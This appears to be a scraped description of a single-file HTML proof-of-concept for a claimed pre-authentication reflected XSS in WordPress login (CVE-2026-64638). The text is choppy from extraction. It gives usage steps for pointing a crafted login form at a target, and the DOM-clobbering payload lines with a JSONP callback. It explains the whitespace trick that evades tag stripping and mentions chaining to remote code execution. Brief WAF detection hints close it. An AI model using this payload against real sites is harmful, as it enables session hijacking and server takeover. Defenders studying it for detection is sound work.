
Single-file HTML proof-of-concept for WordPress pre-auth reflected XSS (CVE-2026-64638), demonstrating unauthenticated JavaScript execution and an XSS-to-RCE chain via DOM clobbering and app-password upload.
WordPress Pre-Auth Reflected XSS Proof of Concept
Single-file HTML proof of concept for the CVE-2026-64638 (XSS2Shell) parser-differential XSS in WordPress Core. Demonstrates unauthenticated JavaScript execution in the WordPress origin via a crafted login request.
strip_tags() vs wp_kses_post())POC.html in a text editor.http://TARGET/wp-login.php in the form action with your target.<form id="poc" method="post" action="http://TARGET/wp-login.php">
confirm() (or alert()) popup fires in the WordPress origin.< area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=confirm&_envelope=1>
< div id=color-picker class=reset-pass-submit>
< button class="wp-generate-pw color-option">X
The space after each < is the exploit. Without it, wp_strip_all_tags() removes everything.
%3C + whitespace patterns in the log field at the WAF/edge.POST /wp-login.php requests where log contains encoded <.